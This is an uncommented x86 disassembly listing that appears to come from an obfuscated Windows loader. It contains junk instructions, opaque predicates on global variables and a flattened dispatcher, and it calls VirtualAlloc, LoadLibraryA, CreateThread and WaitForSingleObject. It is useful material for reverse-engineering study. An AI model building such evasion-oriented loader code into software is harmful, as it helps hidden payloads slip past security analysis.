ror edx, 0xb4
neg ebx
add edx, 0x61
rcl edi, 0x2b
rcr edi, 0xb2
add edi, 0x50
neg esi
rcl ebx, 0xe8
ror eax, 0xe6
imul ebx
not esi
rcr edi, 0x68
add eax, 0x3e
bswap ebx
inc edx
rcr esi, 0xdd
neg eax
inc esi
mov esi, 0xe6
mov esi, 0xa0
add esi, 0x2d
bswap ebx
bswap edi
and ebx, 0x48
dec edi
imul esi
mov eax, 0xac
sbb eax, 0x57
ror esi, 0x2e
dec eax
bswap edx
and esi, 0xf4
not esi
rcl edx, 0x8d
mov edx, 0x50
dec esi
sbb eax, 3
dec esi
imul ebx
inc edi
neg edx
add eax, 0xb9
ror eax, 0x43
and esi, 0x47
and edi, 0xbc
inc ebx
rcr ebx, 0x4c
not ebx
bswap edi
and esi, 0x31
or edx, 0x5f
rcr eax, 0x4e
or eax, 0x1d
mov ebx, 0x3a
rcl ebx, 0xef
mov esi, 0xfa
ror ebx, 0x2b
neg ebx
neg edx
not edi
imul esi
add esi, 0x23
sub ebx, 0xc2
mov eax, 0x76
ror ebx, 0xa1
sub ebx, 0xfb
ror esi, 0xc5
rcr edi, 0xa
neg ebx
mov edx, 0x5d
add eax, 0
inc edi
rol eax, 0x54
and edx, 0xaf
neg eax
rcr ebx, 0xb5
ror edi, 0x53
add ebx, 0xab
inc edi
inc ebx
neg edi
rcl esi, 0xe6
rol edi, 0x70
mov ebx, 0x3c
neg esi
bswap esi
mov ebx, 0x4a
inc edx
or edx, 9
rcl ebx, 0x85
dec eax
imul eax
and eax, 0xa0
imul ebx
rcr edi, 0xd3
sub edx, 5
rcr edx, 0x8d
dec edx
ror ebx, 0xe2
dec edx
bswap edi
bswap eax
ror edx, 0xba
ror esi, 0xd2
dec eax
and edi, 0x98
and ebx, 0x2c
rcr ebx, 0xd9
sbb esi, 0x66
imul ebx
rcl ebx, 0x2e
bswap ebx
imul edx
rcl eax, 0xf1
imul ebx
sub ebx, 0x20
rol esi, 0x9d
not eax
imul eax
dec ebx
imul edx
rol esi, 0xc3
imul edi
ror edx, 0xdd
not edi
rcr edi, 0x73
and esi, 0xae
rcl edx, 0x45
ror ebx, 0xcb
rol edx, 0xd6
and edi, 0x7e
inc eax
bswap edi
neg edx
imul esi
ror ebx, 0x61
imul eax
dec ebx
imul edx
mov edx, 0xf4
and ebx, 0x5d
or eax, 0x66
rol eax, 0x6b
mov esi, 0x17
not eax
add edx, 0x27
rol esi, 0xce
inc ebx
imul esi
imul eax
dec eax
sub edx, 0x30
rol eax, 0xf9
inc edi
rcl edi, 0x2c
ror ebx, 0xce
or ebx, 0x2e
add ebx, 0x66
bswap eax
inc esi
not ebx
inc edx
rol eax, 0xf
not edx
bswap edi
not eax
or ebx, 0x40
imul ebx
sbb edi, 0x23
bswap edi
imul ebx
sbb edx, 0xf9
not ebx
sbb ebx, 0xe2
rcl edi, 0x3d
bswap edx
mov edi, 0xca
add eax, 0xb6
mov eax, 0xe8
sub ebx, 0x5a
sbb edi, 0x2c
not ebx
ror ebx, 0x2d
not edx
bswap ebx
and eax, 0xe5
rcr ebx, 3
not edx
sbb edx, 0xca
ror edi, 0x2e
rcr eax, 0xd4
add esi, 0x44
inc edx
bswap eax
bswap edx
imul edi
rol esi, 0x99
add ebx, 0xdf
not edi
inc edi
imul edx
rcl edi, 1
sub edx, 0x4c
rol edi, 0xd4
neg esi
bswap ebx
sbb ebx, 0x68
ror edx, 0x60
sub ebx, 0xa0
imul edx
add ebx, 0xb1
or ebx, 4
imul eax
add eax, 0x99
imul edx
or edx, 0x6c
mov eax, 0xfb
neg ebx
not esi
sbb eax, 0x38
sbb esi, 0xb4
ror eax, 0xe
dec esi
rcr edi, 0x50
or ebx, 0x9a
add edx, 0x82
rcr edx, 0xe3
dec esi
mov edx, 0x52
neg ebx
dec eax
inc eax
inc edx
ror edi, 0x9e
sub edi, 0x5a
and ebx, 0xf5
or esi, 0x89
mov edx, 0xb7
rcr ebx, 0x73
rcl edx, 0xfe
inc edx
sub edx, 0xa6
or esi, 0x17
bswap edx
rcr eax, 0x40
and edi, 0xef
imul ebx
dec eax
imul edi
or edi, 0x89
not esi
bswap eax
sbb ebx, 0x4e
inc eax
not edi
bswap eax
neg esi
imul edi
ror esi, 0xd2
and esi, 0xe9
not edi
dec eax
bswap ebx
add ebx, 0x29
dec esi
and ebx, 0x79
neg edx
mov edx, 0xcb
rol edi, 0x57
not esi
rol eax, 0xc6
rol esi, 0x81
dec ebx
inc edi
sub edi, 0xdf
neg eax
sbb ebx, 7
bswap edx
neg ebx
bswap esi
sbb edi, 0x8d
dec eax
ror edi, 0x57
ror edi, 0xd9
mov edi, 0x14
or esi, 0x9d
bswap ebx
imul edx
imul eax
mov esi, 0x36
rcr eax, 0x41
dec ebx
neg eax
or edx, 0x54
imul esi
add esi, 0x22
sub eax, 0xd
rcl edx, 0xe5
inc eax
imul edx
sub edi, 0x18
bswap edx
not edx
imul eax
bswap edi
ror edx, 0xd2
ror edi, 0x78
bswap esi
add esi, 0xd8
not esi
neg edx
dec edi
rol eax, 0x44
not eax
sbb esi, 0x1a
and eax, 0x6f
imul eax
add edx, 0xde
imul esi
rol ebx, 0x5e
inc ebx
add eax, 0x5c
sub ebx, 0x5a
imul ebx
inc eax
add esi, 0x5d
mov edi, 0x73
rol ebx, 0xc9
or edx, 0xb4
neg edi
imul ebx
add eax, 0xeb
sub edi, 0x57
and edx, 0x8d
rcl esi, 0x89
neg edi
sbb edx, 0xeb
rcr edx, 0xfe
add esi, 0x90
imul eax
rcr esi, 0x48
sbb eax, 0xb
or edi, 0x95
neg edi
rcl esi, 0xe4
dec ebx
dec ebx
rcl eax, 0x1c
or ebx, 0x76
dec eax
imul eax
ror eax, 0x95
inc edx
bswap eax
dec ebx
sub ebx, 0x1c
dec esi
or esi, 0x3a
bswap esi
not edx
mov eax, 0xf6
and edx, 0x3b
bswap ebx
not edx
imul edx
inc eax
and edx, 0x7d
not esi
dec eax
sbb ebx, 0x85
rol ebx, 0xa
not esi
bswap eax
bswap edi
rcl edx, 0x13
rol edx, 0xe6
rol ebx, 0x6b
bswap edi
imul eax
not ebx
neg ebx
rcr esi, 8
or esi, 0x3d
and eax, 0xdf
inc edx
inc edx
dec eax
and esi, 0x2f
inc edi
sub eax, 0xf9
neg edi
dec ebx
bswap edx
ror edx, 0x7c
not edx
sbb edi, 0x15
imul esi
and edi, 0xf0
neg edi
not ebx
bswap edx
ror edx, 0x1b
ror ebx, 0xbd
inc edx
sub edx, 5
add eax, 0xe4
rcr eax, 0xad
add edi, 0x18
ror edi, 0xe4
neg edx
dec ebx
imul eax
not esi
dec edi
dec edi
rcl ebx, 0xe2
dec esi
neg edx
dec ebx
sub eax, 0xf0
add eax, 0x61
bswap edi
not ebx
sbb ebx, 0
rcr edi, 0x7c
bswap esi
imul eax
mov edi, 0x3f
imul eax
sub ebx, 0xf4
inc edx
rol esi, 0x9f
neg edi
neg eax
not eax
not edi
neg edx
rol ebx, 0xe9
imul esi
inc edi
bswap ebx
or esi, 0xb2
mov ebx, 0xac
inc edi
dec esi
ror edx, 0x94
rcl ebx, 0x33
sub edx, 0x2a
imul edi
sbb edi, 0xc8
bswap edi
inc esi
sub edx, 0xac
bswap edx
dec edi
add eax, 3
rol esi, 0x25
bswap esi
or edi, 6
mov edx, 0xf9
neg ebx
not eax
bswap edx
neg edx
inc esi
rcl eax, 0x34
inc esi
ror ebx, 0x6b
imul eax
inc edi
ror ebx, 0x6a
and eax, 0xf8
add esi, 0xfb
or esi, 0x54
or edx, 0xce
neg eax
bswap eax
sub edx, 0x57
or ebx, 0xcd
rcr edx, 0xc4
sub esi, 0x3c
add edx, 0xa0
rcr edi, 0x11
ror edx, 0x5d
or ebx, 0xf6
bswap ebx
bswap ebx
inc eax
dec edx
or esi, 0xdf
and esi, 0x60
dec ebx
rol eax, 0xc8
and eax, 0xc2
rcr edx, 0x98
imul edx
bswap edx
and edx, 0xff
neg esi
imul edi
rol ebx, 0x22
ror edi, 0xee
neg eax
or edx, 0x99
rcr edx, 0xdd
bswap edx
not esi
rcr esi, 0x21
bswap edx
neg edi
sub edi, 0x32
bswap edi
sbb ebx, 0x5c
bswap ebx
inc ebx
neg ebx
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0xa0e00
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x84]
mov dword [eax], section..data
mov eax, 0x789c4bc4
jmp 0x402ce0
mov eax, 0x179dc7ef
jmp 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0xd0beef00
jmp 0x402ce0
push 4
push 0x3000
push dword [ebp - 0xe0]
push dword [ebp - 0x118]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, 0x36bb7150
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x92e6fe56
mov esi, edx
and esi, 0x6d1901a9
and edx, 0x49e189c6
or ecx, esi
mov esi, ecx
xor ecx, 0x6d1901a8
xor esi, 0x205852
or ecx, 1
and esi, 0x203158fa
mov edi, ecx
and edi, 0xdfcea704
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xb61e7639
mov ebx, edi
not ebx
and edi, 0x203158fb
or eax, edx
or ecx, ebx
and ebx, 0xdfcea704
xor eax, 0xb61e7639
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xc0c0a905
and esi, 0x3f3f56fa
or ecx, esi
mov esi, 0x428c3658
xor ecx, 0xc0c0a905
or eax, ecx
xor eax, 0xffffffff
setne al
sete ah
cmp dword [0x4d6178], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
and cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
or dl, ah
and ah, cl
mov ecx, 0xf269050b
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0xf269050b
jmp 0x40b9da
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov eax, 0xb55c9524
jmp 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x30]
mov eax, 0xf269050b
jmp 0x402ce0
mov eax, dword [ebp - 0x8c]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
rol ebx, 0xd4
mov ebx, 0xb9
or eax, 0xfc
sbb eax, 0x3c
sub ebx, 0x10
and eax, 0x24
inc edx
imul edx
bswap edx
imul edi
neg esi
mov eax, 0x4d
rcr esi, 0xe1
mov ebx, 0x66
inc ebx
sub edi, 0xc
imul eax
rol eax, 0x77
inc esi
and esi, 0x14
bswap ebx
neg eax
sbb edx, 0x93
sub edx, 0xee
or edx, 0x21
imul ebx
sub esi, 0x65
sbb edx, 0x5b
and edx, 0x56
imul edx
dec eax
inc ebx
not edx
ror esi, 0x2d
imul ebx
rol ebx, 0x58
imul ebx
not esi
not edx
imul ebx
rcr eax, 0x91
imul ebx
ror ebx, 0xf0
and esi, 0x13
mov esi, 0x71
or ebx, 0xe7
imul edx
inc esi
imul eax
or eax, 0x30
rcr edx, 0x88
rcr eax, 0xa7
ror esi, 0x14
bswap edi
ror ebx, 0x56
inc edx
mov ebx, 0xd6
not esi
sbb eax, 0x57
and esi, 0xbe
rcr edx, 0x35
add eax, 0x2b
ror eax, 0x34
rcr ebx, 0xb
rcl edx, 0xcb
ror ebx, 0x13
sub esi, 0xb4
imul ebx
neg edx
inc esi
dec eax
not ebx
rcl ebx, 0x2c
dec eax
inc esi
or edi, 0xa6
dec esi
sbb edi, 0xe
dec eax
mov edi, 0x69
rcl eax, 2
sub ebx, 0
ror ebx, 0xac
inc ebx
mov eax, 0xa
sub edx, 0x93
not ebx
rol edx, 0x37
mov edi, 0xe5
mov edx, 0x7a
dec edx
not edi
add edi, 0x2e
and edx, 0x27
sub ebx, 0xd0
dec edx
not esi
bswap eax
rol esi, 0x6b
not edx
or ebx, 0x2e
sbb ebx, 0x8f
rcl ebx, 0xcb
imul ebx
rol edx, 0x78
bswap edi
and eax, 0x94
not edi
neg esi
rcl eax, 0x10
imul edx
dec ebx
and ebx, 0x59
add edx, 0x6c
inc edx
imul esi
sbb edx, 0x2d
dec ebx
mov esi, 0xf4
rol eax, 0xcf
or edi, 0x71
sub esi, 0xa0
imul eax
not edx
sbb ebx, 0x8e
dec eax
bswap esi
bswap esi
rol ebx, 0x62
add ebx, 8
sbb edx, 0x97
bswap eax
imul edx
add edi, 0x6e
mov eax, 0x10
dec eax
and edx, 0xc1
dec edi
sbb edx, 0x9f
rcr ebx, 0x30
sbb ebx, 0xae
ror ebx, 0x8e
mov esi, 0x8e
neg edi
not eax
dec eax
bswap edi
neg eax
rcr esi, 0x8d
sbb esi, 0xd8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x6c]
mov eax, 0xecbea865
jmp 0x402ce0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0xaf714061
jmp 0x402ce0
cmp dword [ebp - 0x110], 0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
setne byte [ebp - 0x79]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x1b1698b4
and edx, 0xe4e9674b
or eax, edx
mov edx, eax
xor edx, 0x9168800
xor eax, 0xe4e9674b
mov esi, eax
and esi, 0x36c054fc
and edx, 0xc93fab03
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc93fab03
or eax, esi
and esi, 0x36c054fc
or ecx, esi
not eax
mov esi, 0x26117575
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x65f3bc5c
and ecx, 0x9a0c43a3
or eax, ecx
mov ecx, eax
xor ecx, 0x1c32854
xor eax, 0x9a0c43a3
mov edx, eax
and edx, 0x6c389789
and ecx, 0x93c76876
or ecx, edx
xor ecx, 0x6c389789
xor eax, ecx
test eax, ecx
setne al
sete cl
cmp dword [0x4d6178], 0xa
setl ch
setge ah
mov dl, ch
and al, ch
and ah, cl
xor ch, cl
or dl, cl
or al, ah
xor dl, 1
xor al, 1
or dl, ch
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xf3722000
cmovne eax, esi
test cl, cl
mov ecx, 0xf3722000
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x15ec6e57
jmp 0x402ce0
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x1a8], eax
mov eax, 0x8f073158
jmp 0x402ce0
mov eax, 0x53d0fd4d
jmp 0x402ce0
push dword [ebp - 0x104]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, 0xf81f454d
jmp 0x402ce0
mov eax, dword [ebp - 0xf8]
mov eax, 0x187ed88d
jmp 0x402ce0
mov eax, dword [0x4d617c]
mov esi, 0x590bc5cb
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xc378c527
mov eax, ecx
and eax, 0x42180405
and edx, ecx
not ecx
and ecx, 0x8160c122
or eax, ecx
xor eax, 0x42180405
or eax, edx
not edx
and edx, 0x3c873ad8
and eax, 0xc378c527
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x4d6178], 0xa
mov ch, cl
setl ah
setge al
and cl, ah
and ch, al
and ah, dl
or ah, ch
mov ch, ah
xor ch, al
and al, dl
or al, cl
and ch, ah
mov cl, al
or al, ch
xor cl, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x94e19613
cmovne eax, esi
test cl, cl
mov ecx, 0x94e19613
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402ce0
push 0
push 0
push 0
push dword [ebp - 0x1c0]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov ecx, 0x8f2f6616
mov eax, dword [ebp - 0x88]
cmp byte [eax], 0
mov eax, 0x5326924e
cmove eax, ecx
jmp 0x402ce0
mov eax, 0x2663474d
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x1b405168
mov esi, ecx
and esi, 0xe4bfae97
or edx, esi
mov esi, eax
not esi
and eax, 0x1b405168
or ecx, esi
and esi, 0xe4bfae97
or eax, esi
not ecx
mov esi, 0x947ebe51
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x5a57262f
and eax, 0xa5a8d9d0
or ecx, eax
xor ecx, 0x5a57262f
setne dl
sete ch
cmp dword [0x4d6178], 0xa
setge al
setl cl
mov ah, al
and al, ch
xor cl, ch
inc ah
and dl, ah
or ah, ch
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
mov ah, cl
or al, ch
mov ch, dl
and ch, cl
xor ch, 1
xor ah, ch
or ch, cl
xor ch, 1
or ch, ah
xor ch, al
or al, dl
mov edx, 0x766af3f
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x766af3f
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa3a56e6e
and eax, 0x5c5a9191
or ecx, eax
mov eax, ecx
xor eax, 0x22256622
xor ecx, 0x58028191
and ecx, 0xd98289dd
and eax, 0x267d7622
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x2341202
xor edx, 0xd98289dd
xor ecx, 0xd98289dc
and ecx, edx
and eax, 0x9bb4125e
and edx, 0x644beda1
or edx, eax
mov eax, ecx
not eax
and ecx, 0x6ab84793
mov esi, eax
and esi, 0x9547b86c
or ecx, esi
mov esi, edx
xor esi, 0x60084580
xor edx, 0x9bb4125f
or eax, edx
and edx, 0x9547b86c
and esi, 0x6ab84793
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xd40f240f
mov ecx, eax
not ecx
and eax, 0xdc63848f
and ecx, 0x239c7b70
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc1929afd
and ecx, 0x3e6d6502
or eax, ecx
mov ecx, eax
xor ecx, 0xc00a4088
xor eax, 0x9810812
and ecx, 0xd47a56e8
and eax, 0x2b85a917
or eax, ecx
xor eax, 0x2b85a917
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setge ch
setl al
mov cl, ch
or ch, ah
xor cl, ah
not cl
and cl, ah
xor cl, 1
mov ah, cl
or cl, ch
xor ah, ch
xor cl, 1
or cl, ah
mov ah, dl
inc ah
or ah, al
xor al, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x85c66823
cmovne eax, esi
test dl, 1
mov edx, 0x85c66823
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x1a8]
mov edx, 0x7469528e
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0x1a4]
cmp ecx, eax
mov eax, 0x82ea4dc1
cmovl eax, edx
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0xcdb06038
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x324f9fc6
or edx, esi
mov esi, 0xa0b87fbe
xor edx, 0xcdb06038
or eax, edx
mov edx, eax
not edx
and eax, 0x61ca4023
and edx, 0x9e35bfdc
or eax, edx
xor eax, 0x61ca4023
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4d6178], 0xa
setl al
mov ah, al
xor dl, al
xor al, cl
or ah, cl
xor dl, 1
xor al, 1
xor ah, 1
or ah, dl
mov cl, ah
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0xc373ea24
cmovne edx, esi
test al, al
mov esi, 0xc373ea24
mov eax, edx
cmovne eax, esi
jmp 0x40d3f6
cmp dword [ebp - 0x18c], 0
mov eax, 0x4b8685f8
mov ecx, 0xa96f92de
cmove eax, ecx
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0xe646bda
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x60c00802
and eax, 0x870916d9
mov edx, ecx
or edx, 0x8144004
and esi, 0x68d44806
and ecx, 0x1022a120
and edx, 0x68d44806
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x81ebaaf9
and ecx, 0x7e145506
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x6622b422
xor ecx, 0x99dd4bdd
xor edx, 0x99dd4bdc
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xe011cb12
mov esi, eax
and esi, 0x1fee34ed
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe011cb12
or eax, esi
and esi, 0x1fee34ed
or ecx, esi
not eax
mov esi, 0xa07758d2
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x3a8c12d5
mov edx, eax
and edx, 0x841215
and ecx, eax
not eax
and eax, 0x3a0800c0
or edx, eax
xor edx, 0x841215
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbd763e0
and eax, 0xf4289c1f
or ecx, eax
xor ecx, 0x315b7135
sete cl
setne al
cmp dword [0x4d6178], 0xa
setl dl
setge ah
and dl, al
and cl, ah
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
not ah
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xe646bda
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, cl
jmp 0x40e59f
cmp byte [ebp - 0x75], 0
mov eax, 0xb31482fd
mov ecx, 0xafacda72
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x85c433c6
and ecx, 0x7a3bcc39
or ecx, eax
mov eax, ecx
xor ecx, 0x2a8801
xor eax, 0x85c433c6
mov edx, eax
and ecx, 0x84ea9987
and eax, 0x7b156678
and edx, 0xbfffffff
or eax, ecx
xor eax, 0x3b156678
or eax, edx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0xc533e785
mov esi, ecx
not esi
and edx, 0x3acc187a
and ecx, 0x3acc187a
or eax, esi
and esi, 0xc533e785
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3582352a
and ecx, 0xca7dcad5
or ecx, eax
mov eax, 0x533e699a
xor ecx, 0xca7dcad5
mov dword [ebp - 0x114], ecx
jmp 0x402ce0
mov eax, dword [0x4d617c]
mov esi, 0xba2f528
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x3eb32d8c
and ecx, 0xc14cd273
or edx, ecx
xor edx, 0x3eb32d8c
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x547bffef
and eax, 0xab840010
or eax, edx
xor eax, 0xab840011
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x89edb634
and ecx, 0x761249cb
or ecx, eax
mov eax, ecx
xor eax, 0x9c00010
xor ecx, 0x2100049
and eax, 0x7dc24992
and ecx, 0x823db66d
or ecx, eax
xor ecx, 0x823db66d
sete dl
setne ah
cmp dword [0x4d6178], 0xa
setge ch
setl al
mov cl, ch
and ch, dl
xor cl, ah
and ah, al
or al, dl
or ch, ah
xor al, 1
mov ah, cl
or al, ch
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x30af3acf
cmovne ecx, esi
test al, 1
mov eax, 0x30af3acf
jmp 0x40ecea
mov eax, 0xd6d13ba9
jmp 0x402ce0
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x46c14821
mov esi, edx
mov edi, edx
or esi, 0x18022106
and ecx, 0x5ec36927
and edi, 0x811894d0
and edx, 0x86397697
or edi, ecx
mov ecx, eax
and esi, 0x5ec36927
and ecx, 0x20240208
and eax, 0x79c68968
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x991ab5d7
and esi, 0x66e54a28
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x1594778e
mov esi, edx
and esi, 0xea6b8871
or ecx, esi
mov esi, eax
xor esi, 0x11840108
xor eax, 0x82290011
and eax, 0xea6b8871
and esi, 0x1594778e
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x4ec14355
sete cl
setne al
cmp dword [0x4d6178], 0xa
setl dl
setge ah
or cl, ah
or dl, al
or ah, al
xor dl, 1
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov al, dl
and al, cl
xor al, 1
or al, cl
mov cl, ah
xor al, 1
xor cl, 1
or al, dl
or dl, ah
and cl, al
xor al, 1
and al, ah
mov ah, dl
or al, cl
xor ah, al
test dl, dl
mov edx, 0x5de8fdc7
cmovne edx, esi
test al, al
not ah
cmove edx, esi
test ah, 1
mov eax, 0x5de8fdc7
cmovne edx, eax
mov eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x84]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00420960
add esp, 0xc
dec ebx
inc eax
inc ebx
or edi, 0x93
bswap eax
dec edx
sub edx, 0xa3
neg ebx
ror ebx, 6
sub edx, 0x26
dec edi
neg eax
sbb ebx, 4
rol esi, 0x8d
neg edi
bswap esi
rol edx, 0xfb
ror eax, 0xf8
not edi
imul edx
neg eax
add edx, 0x3f
and eax, 0xd8
sub esi, 0x66
rcr edx, 0xdc
bswap esi
inc edi
neg edi
or eax, 0x35
bswap ebx
bswap eax
ror ebx, 0x26
not ebx
inc edx
sub edi, 0x6a
or edx, 0xed
rcl ebx, 0x4b
imul eax
bswap edi
and esi, 0x1a
imul edi
not edi
neg edi
neg eax
inc esi
bswap ebx
inc edx
dec edi
rol edi, 0xc8
rcl edx, 6
not esi
dec esi
rol edx, 0x5b
imul edx
inc eax
ror edi, 0xc9
dec edi
bswap eax
add edi, 0x17
rcl ebx, 0x8f
and eax, 0xda
imul edi
mov ebx, 0x44
dec esi
dec edx
imul ebx
or edx, 0x8b
mov ebx, 0x53
ror eax, 0xb
inc eax
sub eax, 0x2c
inc edx
inc edi
not edx
and esi, 0xf9
inc esi
rcl eax, 0x68
and edi, 0xff
add ebx, 0xce
add ebx, 0xe4
sbb eax, 0xc8
neg esi
neg esi
neg edi
neg esi
rol ebx, 0xd6
not ebx
rcr edx, 0x27
sub edx, 0xad
sub edx, 0x41
add eax, 0xee
ror eax, 0xdb
neg edx
dec edi
rcl edi, 0xcf
inc edi
bswap esi
inc esi
rol esi, 0xc7
inc esi
inc esi
and edx, 0xf6
and esi, 0x7b
not edi
inc edx
bswap ebx
bswap ebx
